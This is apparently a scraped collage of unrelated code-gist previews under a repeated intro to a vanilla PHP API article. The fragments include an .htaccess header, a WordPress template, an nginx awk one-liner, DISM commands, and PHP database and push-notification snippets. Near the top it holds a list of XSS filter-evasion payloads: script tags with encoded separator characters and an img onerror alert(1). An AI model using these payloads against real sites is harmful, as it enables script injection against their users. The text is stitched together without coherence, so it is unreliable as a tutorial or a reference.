This article is inspired by Brad Cypert's blog post: http://www.bradcypert.com/building-a-simple-api-in-php-using-lumen/.
Why should we build a API with Vanilla PHP? Because you can, and it makes fun.
- Create a directory /src
| <script\x20type="text/javascript">javascript:alert(1);</script> | |
| <script\x3Etype="text/javascript">javascript:alert(1);</script> | |
| <script\x0Dtype="text/javascript">javascript:alert(1);</script> | |
| <script\x09type="text/javascript">javascript:alert(1);</script> | |
| <script\x0Ctype="text/javascript">javascript:alert(1);</script> | |
| <script\x2Ftype="text/javascript">javascript:alert(1);</script> | |
| <script\x0Atype="text/javascript">javascript:alert(1);</script> | |
| '`"><\x3Cscript>javascript:alert(1)</script> | |
| '`"><\x00script>javascript:alert(1)</script> | |
| <img src=1 href=1 onerror="javascript:alert(1)"></img> |
| # Apache configuration file | |
| # httpd.apache.org/docs/2.2/mod/quickreference.html | |
| # Note .htaccess files are an overhead, this logic should be in your Apache | |
| # config if possible: httpd.apache.org/docs/2.2/howto/htaccess.html | |
| # Techniques in here adapted from all over, including: | |
| # Kroc Camen: camendesign.com/.htaccess | |
| # perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/ | |
| # Sample .htaccess file of CMS MODx: modxcms.com | |
| # This is the free sample of .htaccess from 6GO s.r.l. | |
| # @author Claudio Ludovico Panetta (@Ludo237) |
| <?php get_header(); ?> | |
| <div id="content"> | |
| <div id="inner-content" class="row"> | |
| <main id="main" class="large-8 medium-8 columns" role="main"> | |
| <ul class="accordion" data-accordion role="tablist"> | |
| # One liner for counting unique IP addresses from nginx logs | |
| # Feel free to comment with better ideas - I'm sure it's not the best way of doing this (I'm no awk ninja!) | |
| # | |
| # Sample output: | |
| # | |
| # $ cat example.com.access.log | awk -F " " '{a[$1]++ } END { for (b in a) { print b, "\t", a[b] } }' | |
| # 66.65.145.220 49 | |
| # 92.63.28.68 126 | |
| cat example.com.access.log | awk -F " " '{a[$1]++ } END { for (b in a) { print b, "\t", a[b] } }' |
| <?php | |
| /* | |
| * Script: DataTables server-side script for PHP and MySQL | |
| * Copyright: 2012 - John Becker, Beckersoft, Inc. | |
| * Copyright: 2010 - Allan Jardine | |
| * License: GPL v2 or BSD (3-point) | |
| */ | |
| class TableData { |
| A. Create Installation DVD ISO Via Dism: | |
| 1. Extract Win 10 Enterprise version of the mirror sources folder install.wim to D drive temp directory | |
| 2. In the temp directory to create WimMount folder, and execute the following command to mount the wim file | |
| Dism /Mount-Wim /WimFile:D:\temp\install.wim /Index:1 /MountDir:D:\temp\WimMount | |
| 3. Show the current version | |
| Dism /Image:D:\temp\WimMount /Get-CurrentEdition | |
| 4. Show current version | |
| Dism /Image:D:\temp\WimMount /Get-TargetEditions |
This article is inspired by Brad Cypert's blog post: http://www.bradcypert.com/building-a-simple-api-in-php-using-lumen/.
Why should we build a API with Vanilla PHP? Because you can, and it makes fun.
| <?php | |
| /** | |
| * Recursively implodes an array with optional key inclusion | |
| * | |
| * Example of $include_keys output: key, value, key, value, key, value | |
| * | |
| * @access public | |
| * @param array $array multi-dimensional array to recursively implode | |
| * @param string $glue value that glues elements together |
| <?php | |
| /* | |
| * DatabaseUtils.php - A class of simple database utilities. | |
| * | |
| * Performs CRUD operations using PDO (MySQL) prepared statements. | |
| * | |
| * Author: bencentra (https://gist.github.com/bencentra/92228e1f4139436c4153) | |
| */ |
| <?php | |
| // API access key from Google API's Console | |
| define( 'API_ACCESS_KEY', 'YOUR-API-ACCESS-KEY-GOES-HERE' ); | |
| $registrationIds = array( $_GET['id'] ); | |
| // prep the bundle | |
| $msg = array |